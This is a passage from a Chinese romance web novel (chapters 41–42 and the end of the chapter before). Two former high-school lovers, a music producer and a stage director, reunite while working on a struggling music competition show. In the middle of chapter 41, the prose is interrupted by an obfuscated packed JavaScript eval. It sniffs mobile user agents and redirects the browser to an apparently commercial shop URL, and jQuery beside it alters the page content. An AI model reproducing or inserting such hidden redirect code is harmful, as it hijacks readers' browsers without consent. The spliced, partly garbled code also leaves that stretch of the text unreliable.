江昱然从鼻腔溢出声轻哼,怼得不留情面:“才复合多久就屁颠屁颠来我这儿炫耀,等以后吵架了你千万别再哭着给我打电话。” 陆洋阳老实了,想了想,仍不服气地回呛道:“切,那也比没老婆的强。” 陆洋阳和陶早高考完就来了趟只属于两人的毕业旅行,却硬生生拖到大一下学期才确立关系。陶早拍戏免不了有些亲密接触,陆洋阳狂吃飞醋,这些年又因为异地和事业上的分歧分分合合,却又藕断丝连纠缠不清,认真算来,这已经是两人第三次复合了。 江昱然曾毒舌地评价道,分手在他俩的感情中起到一个逗号的作用,到后来,他都懒得再掺和。 “...我今天遇见她了。” 犹豫一瞬后,江昱然俯瞰着江城夜色,终是闷闷道。 那边半晌没说话,过了许久,陆洋阳才试探地问:“谁?...羡瑶?” 甚至已经不需要再提名字,便瞬间了然。 他用沉默代替了回答。 陆洋阳却瞬间激动起来:“我靠,缘分呐!” “江昱然,这你都不出手?你上不上,你不上就是天底下最怂的怂蛋,我可真就瞧不起你了哈。” “你也别跟我扯什么早把她忘了。真忘了你在美国的时候有事没事就跨十几公里往许愿池跑,真忘了你回国发展的城市说什么也要定在江城,你做这么多不就是为了这一天吗?” “还有,羡瑶生日的时候...” “她有男朋友了。” ... .... ...... 陆洋阳瞬间噤声,空气仿佛都凝滞了。 江昱然说这句话的声音很轻很轻,良久没再落声,垂着眸,手里还捏着那张名片轻轻摩挲,不知在想些什么。 “...啊?你怎么知道,你,你确定吗?”陆洋阳不死心地问道,却已经全无底气。 “嗯,”他声音发涩,淡淡道,“当初在美国的时候,我就知道。” 彼时正值凛冬,纽约街头迎来了第一场初雪,入目皆是一片绵白。冷汽平静地蔓延,周围的一切都像是罩了层柔光滤镜,雾蒙蒙的。 江昱然还是保持着老习惯,又一次来到许愿池,盯着驻足的行人发怔,这是他今年第109次来这里。他也不知道自己究竟在执着和期待些什么,明明知道只有百分之一的概率,却偏偏不舍得放手。 露在大衣袖子外的手僵得麻木,他温吞地往回走,余光却瞥到一抹熟悉的身影。 他猛地刹住脚步。 深棕长发微卷着垂落在腰,头顶的米白贝雷帽和雪天的氛围再合适不过,女生脚踩着一双及膝的厚底长靴,安静地站在池边,一瞬间和回忆与梦中反复出现的背影重叠。 他狠狠掐了把自己,然后屏住呼吸,极慢地向着那个背影走去,一步,两步,生怕她下一秒就要消失在眼前。 心脏先一步开始狂跳,一切都在失控的边缘。 江昱然却不动了。 女生微微侧了侧身子,是沈羡瑶没错,但她身旁却站了一个比她高两个头的男生。似是硬币不太够了,她凑近跟男生说了些什么,他从口袋里又掏出一枚硬币,递给沈羡瑶。 心跳停滞了一拍,正好补上初见时多跳动的那一下。 江昱然在原地站了许久许久,静静地看着他们抛完硬币,在池边闭上眼睛虔诚地许愿。男生似乎开了个玩笑,沈羡瑶的眼睛弯起来,和他并肩向远处走去,留下一串脚印。 他像一缕游魂失魂落魄地跟在两人身后,却终究停住脚步。 异国他乡,孤男寡女,还能是什么关系。 江昱然,一定要看到一些画面,你才能彻底死心吗? 她现在过得很好,不要再去打扰她了。 于是他拖着发红眼尾,目送着她的背影远去,被漫天的飘雪湮没,变成一个小小的黑点彻底消失在视线内,化作心口一滴鲜红的朱砂痣。 今天在会场门口他一眼便认出,那个来接沈羡瑶的人,就是当年站在她身边的那个男生。 陆洋阳轻轻“啊”了一声,却也不知道该说些什么安慰。 “那这么久了,感情应该也挺稳定了...”他低声嘟囔着,也跟着不是滋味起来,“唉,再说你也不是那种横刀夺爱,为爱做三的人啊。” 他顿了瞬,忽地变了个语调,尾音隐隐上扬。 “江昱然,你不是吧?” “对,对吧?” 江昱然陷在沙发里,胸腔缓缓起伏,半晌没吭声,久到陆洋阳以为他掉线了。 良久,他闷闷开口。 “是她的话...” “还真不一定。” 41. 第 41 章 《闪耀的我们》是萤火工作室出品的一档音乐竞技综艺,经过海选选出十二组首发选手,有乐队有女团也有单枪匹马来参赛的。选手们一共要经历四场汇演,全部的表演都必须要自己编排,原创曲目更是加分,导师和工作人员会尽全力提供帮助。 观众投票决出每轮淘汰人员,不时还会有踢馆选手前来挑战,最终只有一组选手能够成为冠军,也可以获得与奥美签署专属合约的机会。 作为舞台总监,沈羡瑶几乎把全部的精力都扑在这档音综上,播出日期将近,她连做梦都是录制。 然而期望越大,失望越大。 节目第一期成功播出,却反响平平,收视率在同期的几档节目中倒数,并没有激起多少水花。在这个流量为王的时代,不怕坏的评价,最怕的是无人问津,一点讨论度都没有。 《闪耀的我们》并不是利美看好的项目,因此预算十分有限,而原本入股的资本更是纷纷撤退,商人向来精明,最懂得趋利避害。沈羡瑶不禁想起立项之初,一个投资人拒绝她的话:“音综,还是选拔素人,导师团队也是那种处在尴尬地位不能激起观看欲望的存在,你拿什么跟其他节目竞争话题度?” 会议室召开一次次的紧急会议,整个工作室都被无形的乌云笼罩着,甚至一下午都没什么人说话。 临下班时,沈羡瑶看见将脑袋埋在臂弯里,一夜之间像憔悴了十岁的罗心媛,过去捏了捏她的肩膀,在她桌上放了一颗柠檬糖。 “别给自己太大压力。”她轻声安慰道。 罗心媛硬挤出一个笑容:“你也是,早点休息。” 推开工作室大门的同时,“叮”的一道声音却划破了屋子里沉闷的氛围,是收到邮件的提示音。 同事点开邮件,瞳孔却在看见发件人的瞬间骤缩,紧接着便是抓住救命稻草般的欣喜若狂,声音都透着难以置信。 “江昱然的工作室竟然给咱们主动发邮件了!” 沈羡瑶顿时刹住脚步。 惊异声四起,工作室的小伙伴们齐齐凑到电脑前,瞪大了眼睛。 Dazzstudio。 是江昱然的工作室没错。 邮件的内容很精简,大概就是对萤火手上的项目比较感兴趣,希望可以进一步详谈,有合作意向的话约个时间会面。 “简直柳暗花明又一村啊,如果我们节目能邀请他过来,还哪里愁话题度。” “对啊,一向不爱露面的Dazz回国后参与的第一个项目,这噱头足足的。” “不过他竟然会主动联系我们,照理来讲,他现在估计已经被各大公司抢破头了吧,竟然会注意到我们这个节目吗?” 沈羡瑶喉咙发燥,下意识捏紧衣角。 是那张名片。 “你们说,他工作室会不会采取的海王战术,管它什么项目先下手为强再说,发了几十个这样的邮件?” 想到这,大家又泄气了。 “不管是什么情况,总归要试一试。”说话的是沈羡瑶。 一屋子的人齐齐向她看来。 她攥紧手机,立即修改了约车的地点。 “我现在就去。” 碎雪掩盖了车窗外的景象,沈羡瑶听着导航的声音,在心里准备一会儿见到江昱然团队要说的话。她晚上还没有吃饭,现下整个人都有些虚,翻遍包也只找出来一块被压扁的盼盼小面包,小口咬着权当垫垫肚子。 可如果,来的不是他团队...... 她捏着包装袋的手倏然收紧,走神的功夫,车已经到达。 沈羡瑶深吸一口气,眯起眼睛对照地址,雪天使视线有些受阻,拿着手机的手也冻得发僵,她只能不时搓动着来缓解寒冷。 江昱然还没有签公司,工作室的选址也比较低调,竟让她想到在安岚的时候。 “13层,应该是这栋楼...”她低声碎碎念,准备给邮件中的号码打个电话。 “嘟,嘟——” 冰冷的等待接通音效回荡在整个夜空。 下一秒,电话铃声却从她身后响起。 沈羡瑶怔了瞬,迟缓地抬眸看去。雪不再飘落,她头顶撑起一把深蓝色雨伞,向她倾斜大半将她整个人罩在阴影下。 就这样毫无防备地撞入江昱然的漆黑眼瞳。 周围空气变得稀薄,良久沉寂,她听见他说。 “好久不见。” - 工作室的装潢风格以简约为主,充斥着黑白灰色调,音响和制作设备都是最顶级的配置,墙面依旧张贴了许多海报,只不过这回都是他自己的作品。 他还是习惯在桌面的边角放一个小冰柜,里面放一些速食和饮料。工作室的空调开的很足,沈羡瑶原本已经脱了半截外套,又默默穿了回去。 “喝点什么?”江昱然打开冰柜,冲她偏了偏身子。 “不用了,谢谢。” 她在跟他客气。江昱然眸光一暗,自己拿了罐橘子汽水,给沈羡瑶拿了瓶草莓牛奶,帮她把瓶盖撬开,随手丢进垃圾桶。 沈羡瑶怔了瞬,终是接过牛奶。 “别误会,这些都是路延买的,我助理。”他看出她的迟疑,在电脑前的椅子坐下,解释道。 她扯扯嘴角,表示自己并未多想。 江昱然瞥了眼她的反应,半晌没吭声,有一下没一下摩挲着手指的尾戒把玩。 时隔七年,两人第一次在一个空间里单独相处。 沈羡瑶抿了口草莓牛奶,决定主动出击。 “萤火现在在制作的项目叫《闪耀的我们》,是一档音乐综艺,”她简单介绍了下节目的赛制,继续道,“我们希望您能考虑作为导师出演,如果档期调不开,也可以作为飞行嘉宾只录制几期。” “我知道现在一定有很多项目向您抛出了橄榄枝,但我们也背靠利美,如果后续表现出色的话能争取到更多投资和曝光,未必不是一块好饼。最重要的是,我们完全尊重音乐人的想法和态度,会最大程度给予创作自由,提供一个百花齐放的平台。” “您如果感兴趣的话,可以现在就看一眼项目书。” 江昱然翻着她递来的平板,淡淡道:“你为什么觉得我会在这么多项目里面选择你们。” “以我对你的了解...”她没怎么思索地脱口而出,自己却愣住了。 “你对我了解多少。” 他掀起眼皮,只是静静地凝着她,心里却陡然泛起酸涩。 工作室又陷入无尽的沉默。 “这么多年,过得还好吗?” 良久,江昱然开口问道,嗓音有些哑,分不清是因为一天的疲惫还是因为其他。 周围空气都变得粘腻而闷热,心尖好像悄无声息地划过一条细线,伴随着每一次的呼吸隐隐作痛。沈羡瑶喉咙里像卡了一根鱼刺,半晌说不出话。 她垂眸躲去面前人直勾勾的眼神:“江老师,您叫我过来,不会就是为了...” “在你眼里,我就是这样公私不分的人?”他轻轻蹙眉,声音发涩。 “...抱歉,是我唐突了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064873|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈羡瑶不知该说些什么好,节目态势不容乐观,她确实太心急了。她原本以为自己能够从容淡定地处理一切,却在那股横冲直撞的热浪褪去后,发现自己还是无法心平气和地和江昱然谈话,至少做不到像对待其他人那样。 江昱然因为她的道歉心烦意乱,将剩下那点橘子汽水一饮而尽,抬手丢进角落里的垃圾桶。 “嘭!”罐子重重落地,像在心脏留下一记重锤。 “我会尽快给你们答复。” 他从座椅起身,随手拎起衣架上的大衣:“开下导航,我送你回去。” “不用,我自己回去就可以。”沈羡瑶眼皮一跳,忙拒绝道。 江昱然披外套的手顿了瞬,退步道:“我让路延开车送你。” “太晚了,雪天不好打车,”拉扯的功夫,他已经把路延叫了进来,想了想,淡淡补上一句,“到时候出什么差池,你们工作室再赖上我。” 路延打了个哈欠,笑眯眯做了个手势:“沈老师,这边请。” - “沈老师,这车里刚喷过香氛,味可能有点冲,我开窗散一散哈。” 沈羡瑶应了声,表示自己没问题。 路延从前车镜瞥了眼她,好奇道:“不过沈老师,你跟江哥之前认识吧,我少说跟在他身边也有两年了,这可逃不过我的眼睛。” 从第一次见面的氛围,到江昱然一反常态要亲自出来接,处处都透着不对劲,他早就想问了。 她微微一怔,有些头疼地揉着太阳穴,含糊道:“...嗯,就是以前的高中同学。” “原来是老同学啊!”路延恍然大悟,“怪不得,那还真是巧。” 一路未言。 夜色深沉,江昱然将耳机里的音量调大,直到耳膜充满音乐声。可无论如何,心底还是莫名烦躁,好不容易有的那点灵感又没了影。他长沉一口气,揉了揉眉心,点燃一盏香薰蜡烛,淡淡的檀香味弥漫开来。 “哥,人已经安全送到了。”路延进门打报告,抹了把脖颈的细汗,“渴了,能从冰柜里拿瓶喝的不?” “自己挑。” 江昱然忽地想到什么,往冰柜那瞥了眼:“里面的草莓牛奶你都拿走吧。” 路延愣了瞬:“啊?不是你让我买的吗,超市的草莓牛奶都被我搬空了,跟进货似的。” “太甜了,我不爱喝。”他靠回椅背,指节在鼠标滚轮上摩挲。 路延挠挠头,却也没说什么,老实把草莓牛奶都放进包里,又给自己开了一瓶,仰头咕嘟咕嘟地灌下大半,心满意足地一抹嘴。 “不过哥,原来你跟那个女生是高中同学啊,怪不得你对这次合作这么上心。” 江昱然握着鼠标的手一紧,转头看他。 路延瞧他这架势,咧嘴一笑,心虚道:“你别这么看着我啊,我就那么随口一问,人姑娘自己说的。” “她怎么说的?” “啊?就说你们是高中同学。”路延虽对他突如其来的执着感到奇怪,倒也老实巴交地如实回答。 “没再说别的?” “没,没啊...”被他这么一问,路延也不确定了,语气犹犹豫豫的。 江昱然慢悠悠地收回视线,摁停音乐,自嘲似的轻笑一声,低着脑袋不知道在想些什么。 路延小心翼翼观察着他的脸色,试探道:“那个...哥,她确实是你高中同学,没错吧?” 江昱然眸色愈深,淡淡应了声。 “嗯,高中同学。” “接过吻的那种。” 42. 第 42 章 “姐,我到公司楼下了,需不需要我帮你带杯咖啡?” “那行,我过会儿就上去。” 沈羡瑶挂断电话,专心致志挑起柜台里的面包。她并没有太多做早餐的时间,因此成了公司下面咖啡店的常客,甚至还充了个会员卡。 又一批面包新鲜出炉,店面里铺满香香甜甜的诱人味道,她敏锐捕捉到椰蓉和巧克力的存在,咽了咽口水,弯下腰身寻找着要下手的目标。 门口清脆的风铃声响起,她没怎么在意,这个点来公司打卡的人很多。 “就你了。” 她拿着夹子伸向橱柜里只剩下一个的巧克力司康,“叮——” 一个夹子却从另一个方向伸过来,和她同时夹住司康,两个夹子相碰发出清脆的声响,虎口微微发麻。 先映入眼帘的是手腕上的细手链,没有太复杂的设计,是那种简约高级的金属质感,链条中间挂着一个吉他拨片,在阳光下泛着点点光泽。 唔,还挺有sense的。 沈羡瑶右眉轻轻扬起个弧度,带着欣赏的目光看向手链的主人,却不由得眼皮一跳。 江昱然穿着oversize的酒红舒适卫衣,印象里他身上很少出现这样偏跳脱的色彩,和之前的几次见面不同,多了些随性自然的少年感,竟有几分从前的影子,让她有一瞬恍惚。 他倒是淡定的很,一副意料之内的模样,在她眼皮子底下慢条斯理地将司康夹了去。 沈羡瑶这才反应过来,拿着夹子去抢,眉毛没好气地蹙起:“先来后到,我先看到的。” “我从进门那一瞬就注意到这块司康了,”他丝毫没有留情面的意思,“最后一个,我也想吃。” 她不知道从哪来的脾气,不容分说地将司康夹到自己盘子里,一个不留神却又被江昱然拿了去。 “...我不吃了。”她懒得再理他,将目光投向别的面包。 谁知他也把夹子慢悠悠地一放:“我突然也不想吃了。” “那还给我。”她也没客气,直接连着江昱然手里的盘子一起端了过来。 “那个,两位...”店员挤出尴尬又不失礼貌的微笑,“新一轮的司康出炉了,我给您们一人打包一份,犯不着守着这一块抢。” 沈羡瑶瞥了他一眼,没吭声。 她又另要了一杯美式,正准备扫码付款的时候,一部手机突然明晃晃地抢占了镜头,紧接着又跳出一个加好友的界面。 故技重施。 她愣了瞬,看向一旁的江昱然。 “这两份一起付了,扫微信。”他仍旧是副云淡风轻的模样,沈羡瑶还在怔愣的功夫,他已经把两人的钱一块付了。 支付成功的提示音弹出来后,他才慢悠悠地转过来,撩起眼皮。 “你把我删了。” “......” 很平静的口吻,就像只是在单纯陈述一个事实,却让她心里蓦地一颤。 沈羡瑶垂下眸,半晌道:“我好像没有留着前男友联系方式的必要。” 他很轻很轻地勾了下嘴角:“那同事呢,总该有个能通信的吧,不然我是要通过飞鸽传书找你?” 她这才反应过来,兀自张了张嘴。 “不然你以为我为什么会突然出现在你公司楼下,我也没有跟踪前女友的癖好。” “...你不是说你还要再考虑一段时间?” “考虑好了,有什么问题吗?” 江昱然就这么盯着她,耐心地等待她的下文。 能有什么问题,江昱然同意加盟节目,她高兴还来不及,只是没想到他答应的这么快罢了。但跟前男友一起共事,确实还是有点尴尬,不过,作为成年人,他们应该都能处理好的吧。 应该...吧? 沈羡瑶抬起头,正对上他漆黑又专注的眼眸。 江昱然微微偏了偏脑袋,噙着抹若有若无的笑意,道: “沈老师,不带个路吗?” - 萤火工作室。 罗心媛看见两人一起上来,脸上浮现些许惊讶神色:“江老师,到了怎么也不说一声,我这边好派人下去接。” “刚好遇见沈老师,就麻烦她一并把我带过来了。”他淡淡解释道。 罗心媛了然地点点头,开始按部就班地走流程。她递给江昱然一份合同:“这上面的条款您看一下,没什么问题就可以签字了,稍后会推给您我们制片组的微信,您有什么问题直接问他们,或者问我和羡瑶都可以。” “差点忘了正式自我介绍一下,我叫罗心媛,是萤火工作室的总负责人,也是《闪耀的我们》的总导演,羡瑶是节目的舞台总监,以后音乐上的事还得多请教江老师。”她伸出手,和江昱然相握。 急促的电话铃声突然响起,罗心媛面露歉色:“实在不好意思,我有个紧急会议要开,羡瑶,江老师这边就先交给你了,签完合同可以带江老师转转公司。” 沈羡瑶连一个“好”字都没来得及说出口,她就夹着包匆匆离开。一时间房间里又只剩下两人,墙壁上的钟表秒针滴答滴答地转,将流逝的时间具象化。 江昱然翻过一页页合同,转动手腕,在最后一页的空白处签下自己的名字。 她悬起的心总算落了地,不动声色地舒了口气。 “怎么签个合同你比我还紧张,”他冷不丁开口,弯弯唇角,“人都落你手里了,难不成还怕我毁约跑了不成。” ...这人真是的,明明头都没抬,到底都是怎么察觉到自己表现的? 不过他方才的话,却像一根细小的刺,又往她的心上扎了一下。江昱然这才发觉自己的话似乎有歧义,也陷入了沉默,一些回忆如同浪潮般涌进两人脑海,只让人心里发酸。 气氛又变了。 良久沉寂后,沈羡瑶将合同收好:“走吧,简单带你逛一圈公司。” 萤火工作室位于利美的第九层,同一楼层还有几个其他的工作室,他们分别负责不同的领域和板块,共同撑起了利美的娱乐部门。装修风格也是一贯的大厂高级风,没什么特别的,不过工位倒是略有特色,可以鲜明地看出其主人的喜好和性格。 “你就在这儿工作,也没个自己的办公室?”江昱然看着一排排的工位,问道。 沈羡瑶竟一时不知道该回什么,默默剜了他一眼,也没吱声。 察觉到自己说错话的江昱然咳了两声,转移话题道:“你工位在哪?” 她朝着前面的一个位置抬抬下巴,他顺着她目光看去,一眼便看到最右边的一个工位。不比其他人摆满手办小卡的花哨,她工位只贴了几张合照,电脑后摆了两盆好养活的绿植。 但他注意到,桌边的挂钩挂了一些工作牌,少说也有几十个,都是她参加大大小小项目留下的痕迹,足以看出她对自己这份工作的珍惜和热爱。 而那些合照的旁边贴了一张粉色的便利贴,上面写了两句话,能辨认出是她的字迹。 -道路曲折,前途光明。 -我永远选择沸腾于滚烫。 “江老师,你今晚有空吗?要不要一起吃个饭,和工作室的人都聚一下,就当是提前熟悉熟悉了。”送江昱然离开时,罗心媛提议道。 江昱然目光不动声色地划过沈羡瑶,看了眼表,随即点点头算是同意。 - 聚餐选在了利美附近一家口碑很不错的川菜馆,饭点的时候生意正红火,罗心媛订了个单独的包间,隔绝开外面的吵嚷。 跟江昱然一同来的还有他的助理路延,两人到的时候菜刚好都上的差不多了,大家也没再客气,纷纷动起筷子。 饭局少不了聊天拉近距离,话题的中心自然是江昱然。 “江老师,我听说你们留子在国外想吃一口中国菜可太难了,这回回家了,想吃多少吃多少。” 江昱然勾勾嘴角,夹了口水煮鱼:“这鱼炖的确实入味,想这口想好久了。” “也谢谢大家对我的信任,我这人有个原则,要么不做,要么就做到最好。所以,我一定会尽己所能完成分内的工作。” 罗心媛带头鼓起掌:“欢迎江老师加入《闪耀的我们》!” 一片应和。 “也别一口一个老师的叫了,怪不得劲的,叫我的艺名Dazz就好。”< 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罗心媛在晨星录节目时,只对沈羡瑶和陶早的印象还算深,因此也是这两天才知道她和江昱然是一个高中的,自然也不清楚两人过去的羁绊。 “是吗?”江昱然淡淡一笑,撩起眼皮向她看来,“那还真是巧。” 他的眼神像是能灼伤人般,沈羡瑶低头避开,将杯底剩的果汁一饮而尽,用沉默代替回答。明明没有喝酒,但她现下嗓子烧得厉害,脑袋也有些晕乎乎的。 酒过三巡,话匣子随即被打开,绕来绕去还是回到了逃不过的感情问题。 一个工作室的朱思思好奇问道:“江老师,你今年也有24、5了吧?身边就没有中意的女生?” “女生没有,男生倒有一个。”江昱然说着往旁边埋头干饭的路延瞥了眼,开玩笑道。 路延是半点也笑不出来,默默咽了咽口水。 不是哥...我只想安心蹭顿饭,你别带上我啊... 江昱然不动声色地瞟了沈羡瑶一眼,道:“柯老师如果有认识合适的,可以介绍给我。” 她头也没抬,只是一直用筷子戳着盘里的茄子,默不作声。 “嗐,我介绍给你的你未必满意啊,感情这个事吧,还得你自己上心。尤其是男生,你得主动点,才会有结果。”柯维挥了挥手,笑道,“不过我这边也帮你留意着,万一呢。” “你喜欢什么样的女生?小沈这样的可以不?” 沈羡瑶飞快眨了几下眼睛,尴尬地不知道该说些什么。 “我看挺好。”江昱然却在这时接话。 她心里猛地一紧,他却自顾自地拿起杯子灌了几口饮料,好像刚才只是随口应和的一句。 柯维也跟着笑,半晌却又叹了口气:“不过咱小沈可已经是名花有主了,我那天看到人家男朋友了,也是一表人才的。江老师,你可要加把劲啦。” 她愣了瞬,这才想起来星光盛典谢时年送自己来那天,工作室不少人应该都看见了。 “不是您想的那样。”沈羡瑶解释道,却被他认为是害羞的表现。 “嗐,我都懂,没公开呢,朋友,都是朋友。” 她本来还想解释两句,临到嘴边却又把话咽回肚里,讪讪笑了笑,心底没由头地升起些不可名状的情绪。 饮料见底,江昱然索性换做酒,将空杯重新斟满。 朱思思八卦道:“不过Dazz,像你这样的人,身边肯定不缺女生喜欢吧,看着就像是情场高手。” “还情场高手呢,老大个人了就谈过一次,还被人甩了。”一旁的路延忍不住吐槽道,声音不大,大家却都听见了。 沈羡瑶将用来净手的毛巾揉得皱皱巴巴的。 此言一出,更是激起不小的波澜,每个人脸上都或多或少带了点八卦神情。 “我的天,那就是初恋了?一定很刻骨铭心。” 氛围突然变了,空气中有种无法形容的粘腻情绪暗自涌动着,时间仿佛在这一刻被无限延长。 良久,江昱然淡淡勾了勾嘴角,将那杯酒一口闷得干净。 “记不清了。”